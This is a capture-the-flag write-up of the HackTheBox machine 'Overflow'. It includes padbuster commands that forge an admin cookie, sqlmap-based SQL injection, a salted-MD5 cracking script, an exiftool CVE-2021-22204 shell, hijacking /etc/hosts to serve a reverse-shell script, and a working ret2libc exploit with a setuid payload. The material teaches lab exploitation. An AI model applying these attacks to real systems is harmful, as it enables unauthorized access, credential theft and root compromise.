Overflow is an amazing hard-rated box on HackTheBox. To gain a foothold on the box, you will need to exploit an oracle padding vulnerability to gain access to an admin dashboard that’s vulnerable to SQL injection, use the SQL injection to retrieve and crack a hash for another domain, which is vulnerable to an exiftool RCE.
There are two local users on the box; one accessible through password reuse, and the other due to a write privilege on an important system file. For privesc, you will be exploiting a classic buffer overflow on a custom binary with a non-excutable (NX) stack.
Info
Recon
NMAP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# Nmap 7.70 scan initiated Thu Feb 3 03:04:42 2022 as: nmap -sC -sV -o nmap.txt -v overflow.htb
Nmap scan report for overflow.htb (10.10.11.119)
Host is up (0.23s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 eb:7c:15:8f:f2:cc:d4:26:54:c1:e1:57:0d:d5:b6:7c (RSA)
| 256 d9:5d:22:85:03:de:ad:a0:df:b0:c3:00:aa:87:e8:9c (ECDSA)
|_ 256 fa:ec:32:f9:47:17:60:7e:e0:ba:b6:d1:77:fb:07:7b (ED25519)
25/tcp open smtp Postfix smtpd
|_smtp-commands: overflow, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8,
| ssl-cert: Subject: commonName=overflow
| Subject Alternative Name: DNS:overflow
| Issuer: commonName=overflow
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-05-17T10:41:37
| Not valid after: 2031-05-15T10:41:37
| MD5: 9bec 0c24 e822 f27b 0e0b be7a 1e42 90ca
|_SHA-1: 4423 a65c ca82 e166 4a7e 1416 d759 111b 36b3 e532
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: Host: overflow; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Feb 3 03:05:45 2022 -- 1 IP address (1 host up) scanned in 62.96 seconds
Web
There is a contact form at the bottom of the page;
Filling and submitting the form generated a GET request to the site’s homepage without any of the parameters, so this is probably just another broken form as commonly seen in HTB boxes.
There is a login page linked at the top of the homepage;
This is submitted in a simple POST request with no tokens;
Using the registration page, I was able to create an account and login to the site;
There is nothing of much interest in the site even after login. The blog page linked to from the homepage after login has a few entries, but only the title seems valid. All the links are dead. The titles are: Outdated Softwares, Buffer Overflows, Insecure File Uploads, and SQL Truncation Attacks. This feels like a teaser for what’s about to come.
Looking more closely at the homepage, I noticed a possible username ajmal;
I tested if this username existed in the website, and it didn’t because I was able to create an account with it. However, the user admin may exist in the server because I was unable to register an account with it.
Fuzzing the site for hidden subdomains didn’t yield any;
SMTP
nmap
scan on the host showed that SMTP is running on port 25, and that the vrfy
command is available, which could be used to enumerate valid users. The command showed that the user root
exists on the host;
Using smtp-user-enum
, the following users were enumerated;
- www-data
- root
- postfix
- daemon
- MAILER-DAEMON
- list
- news
- nobody
- postmaster.
These are all default user accounts, so nothing interesting.
Using netcat
, I was able to send an email to the root user without any issues;
Oracle Padding
I was convinced the titles of the blog entries are some sort of hints for solving this box. The only one that applies to the website at this stage is the SQL Truncation attack, so I decided to probe the account registration and login functions, since they are the only ways that let me send some data that is actually processed by the web application.
Fuzzing the login parameters username
and password
for SQL-related attacks didn’t give me anything. However, the session cookie auth
that is issued after authentication looks interesting because it looks like a URL encoded base64 string;
URL-decoding and base64-decoding this, I get some string that appears to be encrypted. So I started fuzzing it manually through burp’s repeater.
When adding a single character to the end of the cookie string, which could be anything, I was able to access the /home/profile/
page which is protected by authentication. If I add more than one character at the end of the cookie, I get a 302 redirect to the login page with the parameter err=1
;
Going to the URL, I got an interesting message;
It was at this point that I actually realised the web application is vulnerable to Execute After Redirect (EAR) vulnerability because the page is actually returned when making a request without the session cookie;
Going back to the cookie, I noticed that adding anything to the begining of the cookie result in an error, with exception of few characters like '
, "
, or +
.
I dumped the request to a text file and gave it to sqlmap
, but it couldn’t find anything. Testing for SQL truncation attack in the registration function with the aim of creating another account with the username admin (which seems to be already registered) didn’t work.
I continue to fuzz the website for hidden paths in hope of finding one I can access due to the EAR flaw. Fuzzing the web root, I found the directory config;
Fuzzing that directory, I got a few hits;
All are just PHP pages, and didn’t give me anything. Bruteforcing the /home
page found a new path /home/logs.php
;
Going to the page, I got an Unauthorized message. I get this unauthorized message even after logging in with my test account, so this page is probably only accessible by the admin.
I was stuck on this for a while, and had to take a sanity check regarding the padding error I was getting when playing with the auth
cookie. I was introduced to Oracle Padding attacks, which is something I’ve never heard before :(
After reading up on such attacks at https://blog.gdssecurity.com/labs/2010/9/14/automated-padding-oracle-attacks-with-padbuster.html and some other sites, I was able to decode the cookie issued to my test account using a tool called padbuster
that automate this process.
To use padbuster
, you need to at least supply the target URL, the encrypted string, and the block size. The url in this case is any page that process the cookie, so I chose /home/profile/
. The encrypted string is the cookie value I got after login, and the block size is 8 since the base64-decoded cookie always gives 24 characters, which is a multiple of 8.
With this info, I was able to decrypt the cookie I was issued using the command;
1
$ padbuster http://overflow.htb/home/profile/ 6Z6ZTuDzahDyKTS9eEOqd47obCHki8m9 8 -cookies "auth=6Z6ZTuDzahDyKTS9eEOqd47obCHki8m9"
It took quite a while, but it worked;
Using the command, I was able to craft a cookie with user=admin
;
1
padbuster http://overflow.htb/home/profile/ RhNgaMySdgdBgb3N7iuvOM25sELhCZ72 8 -cookies "auth=RhNgaMySdgdBgb3N7iuvOM25sELhCZ72" -plaintext "user=admin" -verbose
Loading the homepage using this cookie, I noticed two new links in the homepage;
Clicking on Logs
just gave me a little popup;
Clicking the Admin panel
, I was presented with a login form;
Trying some common defaults for the login didn’t work. Checking burp to see how the /home/logs.php
works, I noticed that it passes a GET parameter name
with the value set to admin
. Adding a single quote to test for SQL Injection gave a 500 Internal Server Error. So I dumped the request to a text file and gave it to sqlmap
, and it turns out to be vulnerable;
SQL Injection
Available databases;
1
2
3
4
[*] cmsmsdb
[*] information_schema
[*] logs
[*] Overflow
Tables for cmsmsdb
;
1
2
3
4
5
6
7
8
9
10
11
12
13
Database: cmsmsdb
[47 tables]
+-----------------------------+
| cms_additional_users |
---[snip]---
| cms_user_groups |
| cms_userplugins |
| cms_userplugins_seq |
| cms_userprefs |
| cms_users |
| cms_users_seq |
| cms_version |
+-----------------------------+
The table cms_users
contains two hashes;
USERNAME | PASSWORD | |
---|---|---|
admin@overflow.htb | admin | c6c6b9310e0e6f3eb3ffeb2baff12fdd |
editor | e3d748d58b58657bfa4dffe2def0b1c7 |
Feeding these 2 hashes to john
, I was unable to crack any using rockyou.txt
. This is probably just a rabbit hole, or the hashes could be salted. So I tried using the --file-read
flag of sqlmap
to see if I can read local files, and I couldn’t.
I dumped the whole database using sqlmap
and start going through the records locally in hope of finding something. Searching for the domain name in the records dumped by sqlmap
, I found one;
Going to the page, I got another login form;
After a lot of digging, I found a hex-encoded string that could be a salt in the table cms_siteprefs
(mask is another name for a salt);
I was unable to get john
to work with the hash, so I wrote a simple script;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/python
import sys
import os
from hashlib import md5
if len(sys.argv) < 4:
print("[-] Usage: %s <hash> <salt> <wordlist>" %(sys.argv[0]))
exit(1)
wordlist = sys.argv[3]
if not os.path.exists(wordlist):
print("[-] Invalid wordlist: " + wordlist)
exit(2)
wordlist = open(wordlist, "rb")
print("[*] Bruteforcing hash...");
hash = sys.argv[1]
salt = sys.argv[2]
while True:
word = wordlist.readline()
if not word: # Wordlist exhausted.
break
word = word.strip()
if md5(salt + word).hexdigest() == hash:
print("[+] Success: " + word)
exit(0)
print("[-] Unable to crack!")
exit(2)
I saved the above as md5-salt-brute.py
, and ran it. I was able to crack the hash of the user editor;
1
2
3
4
5
6
7
8
9
10
11
agent47@debian:$ cat hashes.john
admin:c6c6b9310e0e6f3eb3ffeb2baff12fdd
editor:e3d748d58b58657bfa4dffe2def0b1c7
admin(overflow):c71d60439ed5590b3c5e99d95ed48165
agent47@debian:$ ./md5-salt-brute.py c6c6b9310e0e6f3eb3ffeb2baff12fdd 6c2d17f37e226486 /wordlists/rockyou.txt
[*] Bruteforcing hash...
[-] Unable to crack!
agent47@debian:$ ./md5-salt-brute.py e3d748d58b58657bfa4dffe2def0b1c7 6c2d17f37e226486 /wordlists/rockyou.txt
[*] Bruteforcing hash...
[+] Success: alpha!@#$%bravo
agent47@debian:$
This is the only hash I could crack, but it gave me access to devbuild-job.overflow.htb;
devbuild-job.overflow.htb
Almost all the links in the dashboard are dead. The profile page has a form that allows users to upload a resume;
Uploading a .png file, which is not part of the listed formats, gave a File Type Not supported error that appeared only briefly.
Playing with the request in burp’s repeater, I found out the web application may be depending on the file extension for validation, as changing the upload file name of a .png file succeeded, and showed what looks like an output of exiftool
, along with the path the files are uploaded to;
Exiftool has an RCE vulnerability tracked as CVE-2021-22204, and there is a PoC in the GitHub repo https://github.com/convisolabs/CVE-2021-22204-exiftool. Using it, I was able to spawn a shell on the box as www-data;
User
Inside the box as www-data, I found two local users; developer, and tester. The user tester is the one that hold the user flag. The configuration files of the site devbuild-job.overflow.htb has a MySQL credential;
The password is not reused by any of the local users. The main site overflow.htb also has a MySQL credential;
Testing this password against the local user account of developer worked, and I was able to login over SSH;
Developer
The user does not have any sudo
permissions, but they belong to a group called network. Searching for files that belong to this group, I got one very interesting match;
I have write permissions on a very important file. If I can find any service that’s making some requests to a hostname, I can edit the /etc/hosts
file so that the hostname resolves to an address I control.
So I uploaded pspy
to the box, and it picked up a download using curl
for a shell script on the site taskmanage.overflow.htb;
So I created a file named task.sh
with a reverse shell payload on my box, and hosted it using python’s http.server
module. I then edited the /etc/hosts
file on the box and mapped the domain taskmanage.overflow.htb to my IP;
After a few seconds, the file was downloaded from my attack box, and executed, which gave me access to the box as tester;
PrivEsc
I cannot view sudo
permission for the user tester as I still don’t have their password, and the user does not belong to any other group.
Going through the filesystem, I found a SUID binary at /opt/file_encrypt
;
Running the binary, I was prompted for a PIN;
So I shipped the binary to my attack box for analysis.
Analysis: file_encrypt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
agent47@debian:$ rabin2 -I file_encrypt
arch x86
baddr 0x0
binsz 10741
bintype elf
bits 32
canary false
class ELF32
compiler GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
crypto false
endian little
havecode true
intrp /lib/ld-linux.so.2
laddr 0x0
lang c
linenum true
lsyms true
machine Intel 80386
nx true
os linux
pic true
relocs true
relro full
rpath NONE
sanitize false
static false
stripped false
subsys linux
va true
The main
function is calling check_pin()
, which is likely the function doing PIN validation;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[0x00000b62]> pdf
╭ 46: int main (char **argv);
│ ; arg char **argv @ esp+0x14
│ 0x00000b62 8d4c2404 lea ecx, [argv]
│ 0x00000b66 83e4f0 and esp, 0xfffffff0
│ 0x00000b69 ff71fc push dword [ecx - 4]
│ 0x00000b6c 55 push ebp
│ 0x00000b6d 89e5 mov ebp, esp
│ 0x00000b6f 51 push ecx
│ 0x00000b70 83ec04 sub esp, 4
│ 0x00000b73 e818000000 call sym.__x86.get_pc_thunk.ax
│ 0x00000b78 0528240000 add eax, 0x2428
│ 0x00000b7d e82effffff call sym.check_pin
│ 0x00000b82 b800000000 mov eax, 0
│ 0x00000b87 83c404 add esp, 4
│ 0x00000b8a 59 pop ecx
│ 0x00000b8b 5d pop ebp
│ 0x00000b8c 8d61fc lea esp, [ecx - 4]
╰ 0x00000b8f c3 ret
[0x00000b62]>
Disassembly of sym.check_pin
;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
[0x56602ab0]> pdf
; CALL XREF from main @ 0x56602b7d
╭ 178: sym.check_pin ();
│ ; var int32_t var_28h @ ebp-0x28
│ ; var int32_t var_14h @ ebp-0x14
│ ; var uint32_t var_10h @ ebp-0x10
│ ; var int32_t var_ch @ ebp-0xc
│ ; var int32_t var_4h @ ebp-0x4
│ 0x56602ab0 55 push ebp
│ 0x56602ab1 89e5 mov ebp, esp
│ 0x56602ab3 53 push ebx
│ 0x56602ab4 83ec24 sub esp, 0x24
│ 0x56602ab7 e864fcffff call sym.__x86.get_pc_thunk.bx
│ 0x56602abc 81c3e4240000 add ebx, 0x24e4
│ 0x56602ac2 e8e9fbffff call sym.imp.rand ; int rand(void)
│ 0x56602ac7 8945f4 mov dword [ebp - 0xc], eax
│ 0x56602aca 83ec0c sub esp, 0xc
│ 0x56602acd ff75f4 push dword [ebp - 0xc]
│ 0x56602ad0 e848fdffff call sym.random ; uint32_t random(void)
│ 0x56602ad5 83c410 add esp, 0x10
│ 0x56602ad8 8945f0 mov dword [ebp - 0x10], eax
│ 0x56602adb 83ec08 sub esp, 8
│ 0x56602ade ff75f4 push dword [ebp - 0xc]
│ 0x56602ae1 8d8358ddffff lea eax, [ebx - 0x22a8]
│ 0x56602ae7 50 push eax ; const char *format
│ 0x56602ae8 e8f3faffff call sym.imp.printf ; int printf(const char *format)
│ 0x56602aed 83c410 add esp, 0x10
│ 0x56602af0 83ec08 sub esp, 8
│ 0x56602af3 8d45ec lea eax, [ebp - 0x14]
│ 0x56602af6 50 push eax
│ 0x56602af7 8d837dddffff lea eax, [ebx - 0x2283]
│ 0x56602afd 50 push eax ; const char *format
│ 0x56602afe e8bdfbffff call sym.imp.__isoc99_scanf ; int scanf(const char *format)
│ 0x56602b03 83c410 add esp, 0x10
│ 0x56602b06 8b45ec mov eax, dword [ebp - 0x14]
│ 0x56602b09 3945f0 cmp dword [ebp - 0x10], eax
│ ╭─< 0x56602b0c 753c jne 0x56602b4a
│ │ 0x56602b0e 83ec0c sub esp, 0xc
│ │ 0x56602b11 8d8380ddffff lea eax, [ebx - 0x2280]
│ │ 0x56602b17 50 push eax ; const char *format
│ │ 0x56602b18 e8c3faffff call sym.imp.printf ; int printf(const char *format)
│ │ 0x56602b1d 83c410 add esp, 0x10
│ │ 0x56602b20 83ec08 sub esp, 8
│ │ 0x56602b23 8d45d8 lea eax, [ebp - 0x28]
│ │ 0x56602b26 50 push eax
│ │ 0x56602b27 8d83c3dcffff lea eax, [ebx - 0x233d]
│ │ 0x56602b2d 50 push eax ; const char *format
│ │ 0x56602b2e e88dfbffff call sym.imp.__isoc99_scanf ; int scanf(const char *format)
│ │ 0x56602b33 83c410 add esp, 0x10
│ │ 0x56602b36 83ec0c sub esp, 0xc
│ │ 0x56602b39 8d8388ddffff lea eax, [ebx - 0x2278]
│ │ 0x56602b3f 50 push eax ; const char *s
│ │ 0x56602b40 e8fbfaffff call sym.imp.puts ; int puts(const char *s)
│ │ 0x56602b45 83c410 add esp, 0x10
│ ╭──< 0x56602b48 eb12 jmp 0x56602b5c
│ ││ ; CODE XREF from sym.check_pin @ 0x56602b0c
│ │╰─> 0x56602b4a 83ec0c sub esp, 0xc
│ │ 0x56602b4d 8d83e3ddffff lea eax, [ebx - 0x221d]
│ │ 0x56602b53 50 push eax ; const char *s
│ │ 0x56602b54 e8e7faffff call sym.imp.puts ; int puts(const char *s)
│ │ 0x56602b59 83c410 add esp, 0x10
│ │ ; CODE XREF from sym.check_pin @ 0x56602b48
│ ╰──> 0x56602b5c 90 nop
│ 0x56602b5d 8b5dfc mov ebx, dword [ebp - 4]
│ 0x56602b60 c9 leave
╰ 0x56602b61 c3 ret
[0x56602ab0]>
There are multiple calls to scanf()
, which is used to read input from the user. So I opened the binary in debug mode and set a breakpoint after the first call to scanf()
at 0x56635b03
. The instruction at 0x56635b09
compares the value of eax
(which is where the PIN we entered is stored), with the value in var_10h
(ebp - 0x10
);
Since the comparison is with eax
, which is a 32 bit register, I read 4 bytes from the other operand, which gave 0xf3e6d338
. Converting this to 32 bit signed integer, I got -202976456
;
This value is the valid PIN, and it was accepted by the binary;
After that, we were prompted for a name, and the program printed out a message, and then exit. The way the program reads the name could be vulnerable to buffer overflow. The name read is stored at var_28h
(ebp - 0x28
);
A memory address in x86 is 32 bit. Since the destination address is 40 bytes (0x28
) bytes away from the base of the stack frame (EBP), we will be able to overwrite the saved EBP of main()
(the caller) after writing 40 bytes, and the EIP after 44 bytes. Testing this in gdb
, it worked as expected. The binary is vulnerable to buffer overflow attack;
And it gets better too, because ASLR is disabled on the box;
Exploitation: ret2libc
The binary has a non-executable stack (NX/DEP), so this won’t be as simple as loading shellcode into the stack, and jumping to it. An exploitation technique that can be used to get around this is return to libc (ret2libc) attack. This attack works by overwriting the EIP with the address of a function in the libc library (like system
or execv
), and passing it an argument we control (like the address of /bin/sh
string in the libc library). This works because no code is executed on the stack.
To exploit this, I need to write 44 bytes of padding, followed by the address of execv()
to overwrite the EIP. followed by the address of exit()
which will be the return address for clean exit, and then followed by the address of a string containing the full path of the binary I wished to execute. I used execv()
because unlike system()
, it does not drop privileges when spawning a new process.
The first step is figuring out the address of execv()
, exit()
, and the environment variable PAYLOAD
(which I set to the path of my reverse shell). For this, I wrote a simple C program;
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(){
printf("Addr of system(): 0x%08x\n", &execv);
printf("Addr of exit(): 0x%08x\n", &exit);
printf("Addr of $PAYLOAD: 0x%08x\n", getenv("PAYLOAD"));
return 0;
}
Notice how the address of $PAYLOAD
changes based on the length of the filename;
We need to account for this when calling the binary at /opt/file_encrypt/file_encrypt
. Since it is 30 characters long, I renamed the address dumper to /dev/shm/dump_addrssssssssssss
. This will give me the correct address of $PAYLOAD
when calling /opt/file_encrypt/file_encrypt
. We now have our valid addresses;
Using python, I built a simple ret2libc payload;
1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/python2
import struct
buffer = "A" * 44
execv = struct.pack("I", 0xf7ea8730)
exit = struct.pack("I", 0xf7e194b0)
payload = struct.pack("I", 0xffffdf44)
print "-202976456" + "\n" + buffer + execv + exit + payload
I generated the buffer and saved it in my web directory;
On the remote host, I set PAYLOAD
to /dev/shm/payload
, where payload is a shell script containing a simple bash reverse shell. The exploit worked, but I got a shell as my current user. The privileges were dropped;
So I wrote a simple C payload that will elevate to higher privileges using setuid()
and setgid()
before calling my reverse shell;
#include <unistd.h>
#include <stdlib.h>
int main(){
setuid(0);
setgid(0);
char *args[] = {"revshell.sh", NULL};
execv("/dev/shm/revshell.sh", args);
return 0;
}
I compiled and pushed the program to /dev/shm/payload
, which is the value in my $PAYLOAD
variable. Running the exploit again, I got a shell on the box as root;
Summary
- Discovered port 22, 25, and 80 using
nmap
- Found an open signup on the website, and created a test account.
- Identified a possible username admin that exist on the website.
- Used Oracle Padding attack to craft a cookie that gave access to the account of admin
- Found an SQL injection vulnerability in
/home/logs.php
- Used
sqlmap
to dump some hashes, and discovered the domain devbuild-job.overflow.htb - Gained access to the domain by cracking the salted hash of the user editor
- Found an SQL injection vulnerability in
- devbuild-job.overflow.htb
- Found a file upload form that is passed to
exiftool
. - Exploited CVE-2021-22204 to gain code execution as www-data
- Found a file upload form that is passed to
- Inside as www-data
- Found 2 local users; developer, and tester (holds
user.txt
) - Recovered MySQL credentials in config files of devbuild-job.overflow.htb domain.
- Gained access to account of developer due to password reuse.
- Found 2 local users; developer, and tester (holds
- Inside as developer
- Identified a write access to
/etc/hosts
pspy
showed requests tohttp://taskmanage.overflow.htb/task.sh
, which I hijacked by editing the/etc/hosts
file to gain code execution as tester
- Identified a write access to
- Inside as tester
- Found a SUID binary at
/opt/file_encrypt/file_encrypt
- Binary is protected by a PIN.
- Reversed the binary using
radare2
to extract the PIN. - Identified a buffer overflow vulnerability in the binary.
- Performed a ret2libc attack to gain code execution as root
- Found a SUID binary at